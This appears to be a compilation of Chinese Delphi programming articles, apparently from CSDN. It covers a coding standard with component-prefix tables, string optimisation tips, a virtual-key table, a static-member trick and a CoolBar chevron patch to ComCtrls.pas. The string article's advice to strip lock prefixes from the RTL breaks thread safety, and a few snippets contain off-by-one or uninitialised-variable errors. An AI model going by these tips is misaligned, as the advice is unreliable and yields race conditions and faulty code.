如果在if语句中有多个条件需测试，这些条件应按计算强度由少到多的顺序从左到右排列。这样做能使编译器在编译代码时获得布尔估算逻辑的捷径，从而使你的代码获得最佳的优化。举例来说，如果条件1快过条件2，而条件2快过条件3，那么在if语句中的排列应是：

if 条件1 and 条件2 and 条件3 then

3.6.2 case 语句

3.6.2.1 一般性话题

在一个case语句中的各个独立的单元应以数字或字母顺序排列。

每一个case单元的动作行为应保持简单而不应该超过四到五行代码。如果所要执行的动作过于复杂应采用独立的过程或函数。

case语句中的else子句只有当需要缺省行为或处理错误时才使用。

3.6.2.2 格式

case语句应遵循其它结构的缩格和命名约定。

3.6.3 while 语句

在一个while语句中不建议使用exit过程来跳出循环，尽量仅使用循环条件来跳出循环。

在一个while循环中所用的初始化代码应紧靠在进入while循环前面出现而不要被其它不相关的语句隔开。

任何结束后的处理应在循环之后立即进行。

3.6.4 for 语句

for语句只有当循环次数已知的情况下才能取代while语句使用。

3.6.5 repeat 语句

repeat语句的使用同while语句一样，并且遵循同样的通用方针。

3.6.6 with 语句

3.6.6.1 一般话题

with语句应节省使用，并且带有大量的警告。避免过度使用with语句并且在with语句中小心使用多个对象、记录等等。例如：

with record1, record2 do

这些事情会使程序员感到困惑并难以发现问题所在。

3.6.6.2 格式

with 语句遵循本文档所说明的命名约定和缩格的格式规则。

3.7 结构异常处理

3.7.1 一般话题

异常的处理大量地使用在错误纠正和资源保护方面。这就是说一旦资源被分配，一个try…finally必需加以使用来保证该资源被正确的释放。这种异常的保护也是指在一个单元的initializition/finalization或一个对象的constructor/destructor中进行资源的分配和释放。

3.7.2 try…finally的使用

任何情形下，每一次的分配都应跟随一个try…finally。举例来说，下面的代码会造成可能的错误：

someclass1 := tsomeclass.create;

someclass2 ;= tsomeclass.create;

try

{ do some code }

finally

someclass1.free;

someclass2.free;

end;

一个更安全更合适的分配过程应是：

someclass1 := tsomeclass.create;

try

someclass2 := tsomeclass.create;

try

{ do some code }

finally

someclass2.free;

end;

finally

someclass1.free;

end;

3.7.3 try…except的使用

只有当在异常被触发而你想执行一些任务时才使用try…except。通常，你没有必要为了只是简单地在屏幕上显示一个错误信息而使用try…except语句，因为这会被application对象自动执行。如果你想在except子句中执行完一些任务之后调用缺省的异常处理，使用raise来重新触发异常到下一个句柄。

3.7.4 try…except…else的使用

try…except中的else子句不建议使用，因为它会打断所有的异常包括那些你没有准备的异常。

3.8 类类型

3.8.1 命名和格式

类类型的名称应符合使用它们的目的。类型名字应加以前缀t以表明这是一个类型的定义 － 例如：

type

tcustomer = class(tobject)

类型的实例通常是没有前缀t的类型的名字 － 例如：

var

customer :tcustomer;

注意：查阅“构件类型的命名标准”来获得更多有关构件命名的信息。

3.8.2 域

3.8.2.1 命名/格式

类的域名遵循与变量标识符同样的约定除了它们应以f为前缀，来表明这是一个域的名称。

3.8.2.2 可视化

所有的域都必需是私有的。想在类的范围之外存取域得通过属性来使用。

3.8.3 方法

3.8.3.1 命名/格式

方法的命名应遵循本文档中有关过程和函数的约定叙述。

3.8.3.2 使用静态的方法

如果使用一个静态的方法，那么该方法就不能被该类的后代类所继承。

3.8.3.3 使用虚拟/动态的方法

如果你打算该类的方法能被后代的类所继承就得使用虚拟的方法。只有在该方法有多个继承时（直接的或间接的）才使用动态的方法。例如，一个类类型包含一个可继承的方法，而100个后代类要继承这种方法，那么这个方法就会动态地产生为100个后代类使用的内存。

3.8.3.4 使用抽象的方法

如果在一个类中使用抽象的方法，该类就不能被创建。只有在那些永远不会被创建的类中使用抽象的方法。

3.8.3.5 属性存取方法

所有存取类的方法都只能出现在类的private或protected部分。属性存取方法的命名应遵循过程和函数的约定规则。读取存取方法（方法读取器）必需以单词get为前缀。写入存取方法（方法写入器）必需以单词set为前缀。方法写入器的参数的名字应为value，并且它的类型应是它所操作的属性的类型。例如：

tsomeclass = class(tobject)

private

fsomefield : integer;

protected

function getsomefield : integer;

procedure setsomefield(value : integer);

public

property somefield : integer read getsomefield write setsomefield;

end;

3.8.4 属性

3.8.4.1 命名/格式

属性如果是表示为一个私有域的存取器的话，那么它的名字应是它们所操作的域的名字除去解释符f。

属性的名字应是名词，不是动词。属性表示的是数据，而方法表示的是行为。

数组类型的名称应为复数。一般情况下属性的名称应为单数。

3.8.4.2 使用存取的方法

尽管没有要求，但还是建议尽量少地为一个表示私有域的属性而使用写入存取方法。

四、文件

4.1 工程文件

4.1.1 命名

工程文件应取个描述性的名字。例如，delphi 4开发者指南错误管理器 的工程名字是：ddgbugs.dpr。一个有关系统信息的程序的名字就应象 sysinfo.dpr。

4.2 窗体文件

4.2.1 命名

一个窗体文件的取名应可以描述使用该窗体的目的，并加以后缀frm。例如，一个“关于”的窗体的文件名应是aboutfrm.dpr。主窗体的文件名应是mainfrm.dpr。

4.3 数据模板文件

4.3.1 命名

数据模板的取名应能表示使用该数据模板的目的，它的名称应加以两个字符的后缀dm。例如，自定义数据模板的文件名字应为customersdm.dfm。

4.4 远端数据模板文件

4.4.1 命名

远端数据模板的取名应能表示使用该远端数据模板的目的，它的名称应加以三个字符的后缀rdm。例如，自定义远端数据模板的文件名字应为customersrdm.dfm。

4.5 unit文件

4.5.1 通用unit结构

4.5.1.1 unit的名字

unit文件应取一个可描述性的名字。例如，包含应用程序主窗体的单元应叫做mainfrm.pas。

4.5.1.2 uses子句

在interface部分的uses子句应包含在interface部分中的代码所需要的单元。去掉那些delphi可以自动加入到程序中的单元。

在implementation部分的uses子句应只包含在implementation部分中的代码所需要的单元的名字。去掉不必要的单元。

4.5.1.3 interface部分

interface部分应包含只那些其它单元所需要存取类型的定义、变量、过程/函数的预定义等等。否则，就应放在implementation部分定义。

4.5.1.4 implementation部分

implementation部分应包含那些只在本单元中私用的类型定义、变量、过程/函数定义等等。

4.5.1.5 initialization部分

不要在initialization 部分放入耗时长的代码，这将使程序的第一个界面出现

得比较缓慢。

4.5.1.6 finalization部分

在这里要保证释放你在initialization部分所分配的任何资源。

4.5.2 窗体单元

4.5.2.1 命名

一个窗体的单元文件应拥有与它所对应的窗体文件同样的名称。例如，“关于”窗体的单元名称应为 aboutfrm.pas，而主窗体的单元名称应为mainfrm.pas。

4.5.3 数据模板单元

4.5.3.1 命名

一个数据模板的单元文件应拥有与它所对应的数据模板文件同样的名称。例如，一个自定义数据模板单元的名称应为customersdm.pas。

4.5.4 一般目的单元

4.5.4.1 命名

一般目的单元的取名应符合使用该单元的目的。例如，一个实用程序单元取名为bugutilities.pas。一个包含全局变量的单元取名为customerglobals.pas。

注意，该单元的名字不能与它的工程中所使用的所有包中的单元的名字相同。不赞成使用一般的或通用的单元名字。

4.5.5 构件单元

4.5.5.1 命名

构件单元应放在独立的目录，以将它们同定义构件组或构件集合的单元区分开来。它们要永远同工程在不同的目录。单元名字应同它们的内容相符。

注意：查阅“用户定义的构件”部分来获得更多有关构件命名标准的信息。

4.6 文件头

建议在所有源文件、工程文件、单元等等中使用信息化文件头。一个良好的文件头应包含以下信息：

｛

版权… 著作的年、月、日…

}

五、窗体和数据模板

5.1 窗体

5.1.1 窗体类型命名标准

窗体类型的取名应能表达使用该窗体的目的。类型定义应加以前缀t。前缀后面跟随着描述性的名字。最后，应加以form后缀来描述名字。例如，一个“关于”的窗体的类型的名字应为：

taboutfrom = class(tform);

主窗体的定义为：

tmainform = class(tform);

一个用户接入窗体的名字应象：

tcustomerentryform = class(tform);

5.1.2 窗体实例命名标准

窗体实例应是没有带前缀t的相应类的名字。例如，对应于前面窗体类型而言，其实例的名字应为：

类型名称 实例名称

taboutform aboutform

tmainform mainform

tcustomerentryform customerentryform

5.1.3 自动创建窗体

只有主窗体可以是自动创建的除非有其它更好的理由不这样做。所有其它的窗体必需从工程选项对话框中的自动创建列表中移走。查阅以下部分来获得更多的信息。

5.1.4 模式窗体实例化函数

所有的窗体单元都应包含一个窗体实例化函数，该函数用来创建、设置、模式地显示窗体，并释放窗体。该函数应返回窗体的模式结果。该函数要传递的参数应遵循本文档指定的“参数传递”标准。通过这种方式封装的函数性有助于代码的再利用和维护。

该窗体的变量要从单元中移走，并再窗体实例的函数中进行本地式地定义。注意，这就意味着该窗体必需从工程/选项对话框中的自动创建列表中剔除。参考本文档后面的“自动创建窗体”。

例如，下面的单元展示了再getuserdata窗体中的一个函数。

unit userdatafrm;

interface

uses

windows, messages, sysutils, classes, graphics, controls, forms,

dialogs, stdctrls;

type

tuserdataform = class(tform)

edtusername : tedit;

edtuserid : tedit;

private

{ private declarations }

public

{ public declarations }

end;

function getuserdata(var ausername ： string; var auserid : integer) :

word;

implementation

{$r *.dfm }

function getuserdata(var ausername : string; var auserid : integer) :

word;

var

userdataform : tuserdataform;

begin

userdataform := tuserdataform.create(application);

try

userdataform.caption := ‘getting user data’;

result := userdataform.showmodal;

if (result = mrok) then

begin

ausername := userdataform.edtusername.text;

auserid := strtoint(userdataform.edtuserid.text);

end;

finally

userdataform.free;

end;

end;

end.

5.2 数据模板

5.2.1 数据模板命名标准

数据模板的取名要符合使用该数据模板的目的。类型的定义应加以前缀t，后面紧接着描述性的名字，最后要加以后缀单词“datamodule”。例如，一个自定义的数据模板有时候应该象：

tcustomerdatamodule = class(tdatamodule)

一个命令式的数据模板的名字应象：

tordersdatamodule = class(tdatamodule)

5.2.2 数据模板实例命名标准

数据模板实例的名称应是对应不带前缀t的类型的名称。例如，对于前面的窗体类型而言，其实例的名称应为：

类型名称 实例名称

tcustomerdatamodule customerdatamodule

tordersdatamodule ordersdatamodule

六、包

6.1 使用运行包和设计包的比较

运行时刻的包应只包含其它构件包所要求的单元或构件。另外，包含属性/构件编辑器和其它只为设计的代码应放入到设计时刻包中。注册单元应放在设计包中。

6.2 文件命名标准

包的名称应依照下面的例子：

“iiilibvv.pkg” － 设计时刻包

“iiistdvv.pkg” － 运行时刻包

字符“iii”表示一个3字符标识前缀。这个前缀用来表明公司、个人或其它有标识意义的实体。

字符“vv”表示为该包想要对应delphi某个版本的包的版本号。

注意，包的名字中包含“lib”或“std”的意思是表明这是一个设计时刻包还是一个运行时刻包。

如果既是设计时刻包又是运行时刻包，该文件的命名是同上面一样的，例如，为delphi 4开发者指南做的包的名称应为：

ddglib40.pkg – 设计时刻包

ddgstd40.pkg – 运行时刻包

七、构件

7.1 用户自定义构件

在标准构件中命名出来的构件的名称同在“类类型”部分定义中的一样定义成一个类类型，不同的是它们有一个3字符的指示前缀，这个前缀可以表示公司、个人或其它实体。例如，一个为delphi 4开发者指南编写的时钟构件的名称定义为：

tddgclock = class(tcomponent)

注意，那三个前缀字符是小写的。

7.2 构件单元

构件单元应只包含一个主要的构件，一个主要的构件是指出现在构件栏中的构件。主要构件的辅助构件/对象应放入到同一个单元中。

7.3 使用注册单元

构件的注册过程应从构件本身的单元中剔除，并放入到一个独立的单元中。这个注册单元可以用来注册任何构件、属性编辑器、构件编辑器、专家器等。

构件的注册只应在设计时刻包中进行，注册单元应包含在设计时刻包中而不应放在运行时刻包中。

推荐使用的注册单元的名称是：

xxxreg.pas

上面的3个前缀字符“xxx”用来表示一个公司、个人或任何其它的实体。例如，在delphi 4 开发者指南中的注册单元的名称应为 ddgreg.pas。

7.4 构件实例命名约定

所有的构件都应取个描述性的名称。由delphi创建的缺省名的构件不会被遗弃。在设计构件类型时应设计一个小写的前缀。使用前缀而不使用后缀的原因是在搜寻时，在对象检查器和代码探索器中搜寻构件的名字比搜寻构件的类型更容易实现。

7.5 构件的前缀

以下构件的前缀可以用来设计delphi 4中的标准构件。请在此列表中加入第三方构件的前缀。

7.6 standard页

前缀 构件

mm tmainmenu

pm tpopupmenu

mmi tmainmenuitem

pmi tpopupmenuitem

前缀 构件

lbl tlabel

edt tedit

mem tmemo

btn tbutton

cb tcheckbox

rb tradiobox

lb tlistbox

cb tcombobox

scb tscrollbar

gb tgroupbox

rg tradiogroup

pnl tpanel

cl tcommandlist

7.7 additional页

bbtn tbitbtn

sb tspeedbutton

me tmaskedit

sg tstringgrid

dg tdrawgrid

img timage

shp tshape

bvl tbevel

sbx tscrollbox

clb tchecklistbox

spl tsplitter

stx tstatictext

cht tchart

7.8 win32页

tbc ttabcontrol

pgc tpagecontrol

il timagelist

re trichedit

thr ttrackbar

prb tprogressbar

ud tupdown

hk thotkey

ani tanimate

dtp tdatetimepicker

tv ttreeview

lv tlistview

hdr theadercontrol

前缀 构件

stb tstatusbar

tlb ttoolbar

clb tcoolbar

7.9 system页

tm ttimer

pb tpaintbox

mp tmediaplayer

olec tolecontainer

ddcc tddeclientitem

ddci tddeclientitem

ddsc tddeserverconv

ddsi tddeserveritem

7.10 internet页

csk tclientsocket

ssk tserversocket

wbd twebdispatcher

pp tpageproducer

tp tquerytableproducer

dstp tdatasettableproducer

nmdt tnmdaytime

nec tnmecho

nf tnmfinger

nftp tnmftp

nhttp tnmhttp

nmsg tnmmsg

nmsg tnmmsgserv

nntp tnmnntp

npop tnmpop3

nuup tnmuuprocessor

smtp tnmsmtp

nst tnmstrm

nsts tnmstrmserv

ntm tnmtime

nudp tnmudp

psk tpowersock

ngs tnmgeneralserver

html thtml

url tnmurl

sml tsimplemail

7.11 data access页

前缀 构件

ds tdatasource

tbl ttable

qry tquery

sp tstoredproc

db tdatabase

ssn tsession

bm tbatchmove

usql tupdatesql

7.12 data controls页

dbg tdbgrid

dbn tdbnavigator

dbt tdbtext

dbe tdbedit

dbm tdbmemo

dbi tdbimage

dblb tdblistbox

dbcb tdbcombobox

dbch tdbcheckbox

dbrg tdbradiogroup

dbll tdblookuplistbox

dblc tdblookupcombobox

dbre tdbrichedit

dbcg tdbctrlgrid

dbch tdbchart

7.13 decision cube页

dcb tdecisioncube

dcq tdecisionquery

dcs tdecisionsource

dcp tdecisionpivot

dcg tdecisiongrid

dcgr tdecisiongraph

7.14 qreport页

qr tquickreport

qrsd tqrsubdetail

qrb tqrband

qrcb tqrchildband

qrg tqrgroup

qrl tqrlabel

前缀 构件

qrt tqrtext

qre tqrexpr

qrs tqrsysdata

qrm tqrmemo

qrrt tqrrichtext

qrdr tqrdbrichtext

qrsh tqrshape

qri tqrimage

qrdi tqrdbmimage

qrcr tqrcompositereport

qrp tqrpreview

qrch tqrchart

7.15 dialogs页

对话框构件是由构件封装的真正的窗体，因此，它们应遵循窗体的命名约定。类型已由构件的名称定义。它的实例的名称是delphi自动生成的类型实例名字去掉数字后缀。举例如下：

类型 实例名字

topendialog opendialog

tsavedialog savedialog

topenpicturedialog openpicturedialog

tsavepicturedialog savepicturedialog

tfontdialog fontdialog

tcolordialog colordialog

tprintsetupdialog printsetupdialog

tfinddialog finddialog

treplacedialog replacedialog

7.16 win3.1页

dbll tdblookuplist

dblc tdblookupcombo

ts ttabset

ol toutline

tnb ttabbednotebook

nb tnotebook

hdr theader

flb tfilelistbox

dlb tdirectorylistbox

dcb tdrivecombobox

fcb tflitercombobox

7.17 samples页

gg tgauge

前缀 构件

cg tcolorgrid

spb tspinedit

spe tspinedit

dol tdirectoryoutline

cal tcalendar

ibea tibeventalerter

7.18 activex页

cfx tchartfx

vsp tvsspell

f1b tf1book

vtc tvtchart

grp tgraph

7.19 midas页

prv tprovider

cds tclientdataset

qcds tqueryclientdataset

dcom tdcomconnection

olee toleenterpriseconnection

sck tsocketconnection

rms tremoteserver

mid tmidasconnection


CSDN_文档中心_Delphi 代码优化——字符串篇

关键词：Delphi, AnisString, Pchar
freewizard

Delphi有三种字符串类型：短字符串(String[n],n=1..255)存储区为静态分配，大小在编译时确定，这是继承于BP for Dos的类型；字符数组(PChar)主要是为了兼容各类API，在BP7中已经出现，如今在Delphi中更加应用广泛，其存储区可以用字符数组静态分配，也可用GetMem手动分配；而长字符串(AnsiString)是Delphi独有的，其存储区在运行时动态分配，最灵活也最易被滥用。

不重复初始化
Delphi默认字符串类型AnsiString会自动初始化为空。如下代码：

var s:string；
begin
s:='';
……
end;
s:='';就属多此一举。但是值得注意的是这对函数返回值Result无效。而一般说来，用var实参传递比返回字符串值要更快一些。

使用SetLength预分配长字符串（AnsiString）
动态分配内存是AnsiString的一大长项，但容易弄巧成拙，一个典型的例子如下：
s2:=' ';
for i:=2 to length(s1) do s2:=s2+s1[i];
且不说可用Delete取代之，主要问题在于上例的循环中s2的内存区域被不停地重复分配，相当费时。一个简单有效的办法如下：
SetLength(s2,length(s1)-1);
for i:=2 to length(s1) do s2[i-1]:=s1[i];
这样s2内存只会重新分配一次。

字符串与动态数组的线程安全(Thread Safety)
在Delphi 5以前动态数组与长字符串的操作这些非线程安全调用是由引用计数来处理其临界问题的，而自Delphi5起就改为直接在一些临界指令前加lock指令前缀来避免这个问题。不幸的是这一修改的代价相当昂贵，因为在PentiumⅡ处理器中lock指令相当费时，大概要耗费额外的28个指令周期来完成这一操作，因而整体效率至少下降一半。
解决这个问题的办法只有一个，那就是修改Delphi RTL核心代码。在备份原文件后，将source\rtl\sys\system.pas中所有的lock替换为{lock}，当然必须是整字替换。
如此还未完全优化，下一步是将Delphi4运行库中也有的xchg指令去掉，因为该指令有隐含的lock前缀，所以必须将system.pas内_LstrAsg和_StrLAsg两个过程中的 XCHG EDX,[EAX] 替换为如下代码：
mov ecx,[eax]
mov [eax],edx
mov edx,ecx
OK大功告成，编译一下，覆盖system.dcu即可。如此其执行效率将比Delphi5提高6倍，比Delphi4提高2倍。

避免使用短字符串
由于很多字符串操作会先把短字符串转换为长字符串，从而减慢了执行速度，因此还是少使用短字符串为妙。

避免使用Copy函数
这也和滥用内存管理有关。一个典型的情形如下：
if Copy(s1,23,64)=Copy(s2,15,64) then ……
这样导致分配了两块临时内存，因而降低了效率。应当替换为如下代码：
i:=0;
f:=false;
repeat
f:=s1[i+23]<>s2[i+15];
inc(i);
until f or (I>63);
if not f then ……
同样的，如下语句就显得相当低效：
s:=Copy(s,1,length(s)-10);
应改为
Delete(s,length(s)-10,10);
顺便提一句，在连接字符串时，s:=s1+s2;简单而有效；但在Delphi2下则s:=Format([%s%s],s1,s2);可能稍快些。

总是使用长字符串，必要时转换为Pchar
先看看AnsiString的定义：
type
Astring = packed record
allocSiz: Longint; //动态分配大小
refCnt: Longint; //引用计数
length: Longint; //实际长度
ChrArr:array[1..allocsiz-6]of char; //字节序列
end;
其中Astring[1]将返回Astring.ChrArr[1]的内容。
很多人认为AnsiString是天生低效的。其实这在很大程度上是由代码编写不良、内存管理乱用和缺乏支持的函数所致。如上所述，一旦被动态分配了一块内存，长字符串就成了一个线性的字节序列，并无所谓的效率问题。当然，若有更多有效的函数支持那就更好了。
说到AnsiString到PChar的转换，本质上有三个办法：
(1) P:=@s[1];这会引发UniqueString调用。
(2) P:=PChar (s);这会先检查s是否为空，若是，则返回nil,否则即返回s[1]的地址。
(3) P:=Pointer(s);这不会引发任何隐含调用，因而是在确定s非空情况下的最佳选择。


CSDN_文档中心_Delphi 键盘码表

Delphi 键盘码表

资料来源：Delphi Windows 单元文件 表格整理：http://www.netgocn.com

VK_LBUTTON = 1;
VK_RBUTTON = 2;
VK_CANCEL = 3;
VK_MBUTTON = 4; { NOT contiguous with L & RBUTTON }
VK_BACK = 8;
VK_TAB = 9;
VK_CLEAR = 12;
VK_RETURN = 13;
VK_SHIFT = $10;
VK_CONTROL = 17;
VK_MENU = 18;
VK_PAUSE = 19;
VK_CAPITAL = 20;
VK_KANA = 21;
VK_HANGUL = 21;
VK_JUNJA = 23;
VK_FINAL = 24;
VK_HANJA = 25;
VK_KANJI = 25;
VK_CONVERT = 28;
VK_NONCONVERT = 29;
VK_ACCEPT = 30;
VK_MODECHANGE = 31;
VK_ESCAPE = 27;
VK_SPACE = $20;
VK_PRIOR = 33;
VK_NEXT = 34;
VK_END = 35;
VK_HOME = 36;
VK_LEFT = 37;
VK_UP = 38;
VK_RIGHT = 39;
VK_DOWN = 40;
VK_SELECT = 41;
VK_PRINT = 42;
VK_EXECUTE = 43;
VK_SNAPSHOT = 44;
VK_INSERT = 45;
VK_DELETE = 46;
VK_HELP = 47;
{ VK_0 thru VK_9 are the same as ASCII '0' thru '9' ($30 - $39) }
{ VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' ($41 - $5A) }
VK_LWIN = 91;
VK_RWIN = 92;
VK_APPS = 93;
VK_NUMPAD0 = 96;
VK_NUMPAD1 = 97;
VK_NUMPAD2 = 98;
VK_NUMPAD3 = 99;
VK_NUMPAD4 = 100;
VK_NUMPAD5 = 101;
VK_NUMPAD6 = 102;
VK_NUMPAD7 = 103;
VK_NUMPAD8 = 104; 		VK_NUMPAD9 = 105;
VK_MULTIPLY = 106;
VK_ADD = 107;
VK_SEPARATOR = 108;
VK_SUBTRACT = 109;
VK_DECIMAL = 110;
VK_DIVIDE = 111;
VK_F1 = 112;
VK_F2 = 113;
VK_F3 = 114;
VK_F4 = 115;
VK_F5 = 116;
VK_F6 = 117;
VK_F7 = 118;
VK_F8 = 119;
VK_F9 = 120;
VK_F10 = 121;
VK_F11 = 122;
VK_F12 = 123;
VK_F13 = 124;
VK_F14 = 125;
VK_F15 = 126;
VK_F16 = 127;
VK_F17 = 128;
VK_F18 = 129;
VK_F19 = 130;
VK_F20 = 131;
VK_F21 = 132;
VK_F22 = 133;
VK_F23 = 134;
VK_F24 = 135;
VK_NUMLOCK = 144;
VK_SCROLL = 145;
{ VK_L & VK_R - left and right Alt, Ctrl and Shift virtual keys.
Used only as parameters to GetAsyncKeyState() and GetKeyState().
No other API or message will distinguish left and right keys in this way. }
VK_LSHIFT = 160;
VK_RSHIFT = 161;
VK_LCONTROL = 162;
VK_RCONTROL = 163;
VK_LMENU = 164;
VK_RMENU = 165;
VK_PROCESSKEY = 229;
VK_ATTN = 246;
VK_CRSEL = 247;
VK_EXSEL = 248;
VK_EREOF = 249;
VK_PLAY = 250;
VK_ZOOM = 251;
VK_NONAME = 252;
VK_PA1 = 253;
VK_OEM_CLEAR = 254;


CSDN_文档中心_delphi 控件的拿来主义(一)

"一个优秀的Delphi程序员,不仅要会使用控件,还要会写控件."(向玉笛书生致敬)
我还是一个半瓢水的程序员,因此目前为止我所能努力达到的境界是:
一个半瓢水的程序员,管他会不会写控件,只要能拿来改就可以了.
使用过Delphi的朋友都知道,我们在设计Delphi应用程序的某一功能时总是希望能够有现成的第三方免费控件可以拿来使用.但实际情况往往是,网上的控件确实种类繁多,优秀作品也数不胜数,但真正完全能够符合设计者具体要求的控件却很少.究其原因,不外乎以下几条
1.国人开发的应用程序大多具有中国特色,而优秀的第三方控件往往是国外程序开发人员开发的(大名鼎鼎的Rxlib,知道吧,俄罗斯人的作品).功能定义上的差别导致了控件的不可用性,看看QuickReport就知道了(当然,QuickReport编的也很烂）.
2.真正优秀的第三方控件总是从大局上把握控件所能达到的功能，细节问题考虑的不多.而我们设计的程序通常要考虑到很多操作细节上的问题(一般是客户的要求,有时会有些变态)
3.对于许多很有特色的控件,我们所需要的只是其中一部分功能,但是它被整合到了某一个大的方法中,无法为我们所用.
4.优秀和免费总是两个矛盾,天下没有免费的午餐.
种种原因,限制了开发者对控件资源的充分利用.其实,很多控件的代码都提供了开放的接口.只要大家对控件的原理有一定的了解,然后对别人的控件代码作一捏捏的修改,就可以无缝的添加自己需要的功能,或剔除冗余的功能.既达到了开发的目的,又避免了重写代码的麻烦,一举两得(好像很不负责任啊,没办法了,半瓢水嘛).关于控件的原理，应该有很多文章介绍过了，在这里我想通过一个具体的实例来介绍一下怎样将别人的控件"拿来"为我所用.


CSDN_文档中心_Delphi 类的静态属性

Because Delphi not provide static member for our using, so if you want a static
member of class in Delphi what should I do ?
Ok! At least there are three ways to implement this.
1,Using private global variant(in implement section of unit),but there are a lit

visibility scope in project or unit.
2,Using global variant, a more visibility scope in project or unit.a lit same as

above.
3,Using typed constant,just using compiler directive $J+ or Project properties

|compiler Option Typed constant.
There are some simple source code as follows:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

TStaticMemberObject = class
private
class procedure SetName(const Value: string);
class function GetName: string;
class function StaticMethod(ReadFlag: boolean; var Value: string):boolean;
published
property Name: string read GetName write SetName;
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

{ TStaticMemberObject }

class function TStaticMemberObject.StaticMethod(ReadFlag: boolean;
var Value: string): boolean;
const static: string = '';
begin
result := True;
if ReadFlag then
Value := static
else
static := value;
end;

class function TStaticMemberObject.GetName: string;
var
Value: string;
begin
StaticMethod(true, Value);
result := Value;
end;

class procedure TStaticMemberObject.SetName(const Value: string);
var
setvalue: string;
begin
setvalue := Value;
StaticMethod(false, setvalue);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
so: TStaticMemberObject;
begin
so.Name := 'Hello, my static property!';
ShowMessage(so.Name);
so.SetName('hi, my static property!');
ShowMessage(so.GetName);
end;

end.

Please pay attention to the class method used here. The Name property's modifiers

both use class method. In fact if you use normal static method with no class

directive the code still works well. like this:
procedure SetName(const Value: string);
function GetName: string;
Because we do not access other fields and other instance methods of this

TStaticMemberObject class or some object of TStaticMemberObject type, so there is

no AV using normal static method.
OK, if you need this trick just try it.


CSDN_文档中心_Delphi 完全时尚手册之 CoolBar 篇---实现 CoolBar 的新特性 Chevron

Delphi 完全时尚手册之 CoolBar 篇
---实现 CoolBar 的新特性 Chevron

我们发现到从 IE 5.0 以后，IE 的工具栏具有了一个新特性：当 IE 窗口缩小，使得工具栏上的按钮不能完全显示时，工具栏右边会出现一个小按钮（M$ 叫它 Chevron，实际上这是 CoolBar 的新特性），点击后出现一下拉列表，显示出被隐藏的按钮。这大大方便了我们对工具栏的使用。

那我们如何使 Delphi 的 TCoolBar 控件具有这个特性呢？经过我一个通宵的查阅资料（MSDN）、“潜心研究”（啊，谁扔我鸡蛋...），终于做出来了！好东西不敢独吞，拿出来与大家分享。下面就说说怎么具体实现它。（以下代码在 Delphi 6 下完成）

第一步：改造 Delphi 的 TCoolBand 类

建议在进行这步前先备份 ComCtrls.pas 文件。如果将 CoolBar 中某个 Band 的 Style 中加上 RBBS_USECHEVRON 这个值，那么当这个 Band 的宽度小于某个给定的值时它就会显示一个下拉按钮（Chevron）。下面来改 ComCtrls.pas 这个文件来实现这个功能。

在 TCoolBand 的 Published 部分增加两个属性(Property)：

  //Modified by Joe Huang
  property DealWidth: Integer read FDealWidth write SetDealWidth; {用来告诉 Band 当 Band 的宽度小于多少时显示下拉按钮（Chevron）}
  property UseChevron: Boolean read FUseChevron write SetUseChevron; {用来决定 Band 是否使用这个功能}
  //End

两个属性的写方法如下：

  procedure TCoolBand.SetUseChevron(const Value: Boolean);
  begin
    FUseChevron := Value;
    CoolBar.UpdateBands;
  end;
  procedure TCoolBand.SetDealWidth(const Value: Integer);
  begin
    FDealWidth := Value;
    CoolBar.UpdateBands;
  end;

对 TCoolBand 的改动完成，但有一点要提醒的，这两个属性虽然在 Publish 部分，但在设计期并不能看到（我也不知道是怎么搞的）。所以我们只能在运行期间访问到它们。

第二步：改造 Delphi 的 TCoolBar 控件

在 ComCtrls.pas 中找到 TCoolBar.UpdateItem 方法，先为这个方法加个常数如下：

  //Modified by Joe Huang
  RBBS_USECHEVRON = $00000200;
  //End

然后在这个方法中找到这一行（第一次出现 fMask := 的地方）：

  fMask := RBBIM_STYLE or RBBIM_COLORS or RBBIM_SIZE or RBBIM_BACKGROUND or RBBIM_IMAGE or RBBIM_ID;

在这行下加入下段代码：

  //Modified by Joe Huang
  if (GetComCtlVersion >= ComCtlVersionIE5) and Band.UseChevron then {这个功能只在 IE5 后才有}
  begin
    fStyle := fStyle or RBBS_USECHEVRON;
    if Band.DealWidth > 0 then
    begin
      fMask := fMask or RBBIM_IDEALSIZE;
      cxIdeal := Band.DealWidth;
    end;
  end;
  //End

OK！ TCoolBar改造完成。为 ComCtrls.pas 生成 .dcu 文件，方法：把 ComCtrls.pas 文件拷贝到一个现有工程的目录下，把它加到这个工程中，编译这个工程就会得到它的 .dcu 文件，将个 .dcu 文件覆盖（注意备份） Delphi 原来的，在 Delphi6\Lib 目录下。

第三步：在一工程中具体实现。

打开 Delphi6，新建一工程，在 Form1 上放入 CoolBar1，再在 CoolBar1 上面放入 ToolBar1，CoolBar1 会自动产生一 Band。设置 ToolBar1 的 AutoSize 为 True，Wrapable 为 False 并在其上放入你的按钮。设置 CoolBar1 的 AutoSize 为 True， ShowText 为 False（注意：将这属性置为 False 可以为我提供一个利用 Band.Text 属性定位 Band 的方法。在 CoolBar1 上有多个 Band 时定位 Band 是必须的。你也可以采用你自己的定位方式。），设置放有 ToolBar1 的 Band 的 Text 为 MyToolBand。下面开始写代码。

在 Form1 单元的 uses 后加入 CommCtrl 单元；在 Implementation 部分写两个自定义方法：

  {用来取得 ToolBar1 上所有可见按钮的总宽度。
  用来为我们前面给 TCoolBand 增加的属性 DealWidth 赋值，
  即是当 Band 的宽度小于所有按钮的总宽度时显示下拉按钮（Chevron）。}
  function GetTBButtonsWidth(AToolBar: TToolBar): Cardinal;
  var
    ARect, ButtonRect: TRect;
    TBCount, I: Integer;
  begin
    ARect := Rect(0, 0, 0, 0);
    TBCount := AToolBar.Perform(TB_BUTTONCOUNT, 0, 0);
    for I := 0 to TBCount - 1 do
    begin
      AToolBar.Perform(TB_GETITEMRECT, I, Integer(@ButtonRect));
      ARect.Right := ARect.Right + (ButtonRect.Right - ButtonRect.Left);
    end;
    Result := Abs(ARect.Right - ARect.Left);
  end;
  {用来定位 Band
  参数 BandText 为你所要定位 Band 的 Text 属性}
  function GetCoolBand(BandText: string; ACoolBar: TCoolBar): Integer;
  var
    I: Integer;
  begin
    Result := -1;
    for I := 0 to ACoolBar.Bands.Count - 1 do
    begin
      if ACoolBar.Bands.Items[I].Text = BandText then
      begin
        Result := I;
